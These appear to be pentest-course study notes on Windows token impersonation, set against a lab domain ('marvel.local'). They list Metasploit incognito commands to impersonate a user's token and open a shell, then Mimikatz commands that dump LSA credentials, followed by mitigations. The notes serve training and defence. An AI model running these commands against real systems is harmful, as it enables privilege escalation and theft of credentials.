Token Impresonation

Question 1

What is a token

Answer 1

Temporary keys (cookie for system)

Question 2

How many types of token exists ?

Answer 2

2 types:
- Delegate
- Impersonate

Question 3

Pop a shell and load incognito (msf module) => Token Impersonation

Answer 3

msf > impersonate_token marverl\fcastle
msf > shell
msf> whoami

(If admin token =>)
msf> Invoke-Mimikatz -Command ‘“privilege::debug” “LSADump::LSA/patch” exit’ -Computer HYDRA?marvel.local

msf > privilege::debug

msf > LSADump::LSA /patch

Question 4

Mitigation of Token Impersonation

Answer 4

• Limit user/group token creation permissions
• Account tiering
• Local admin restriction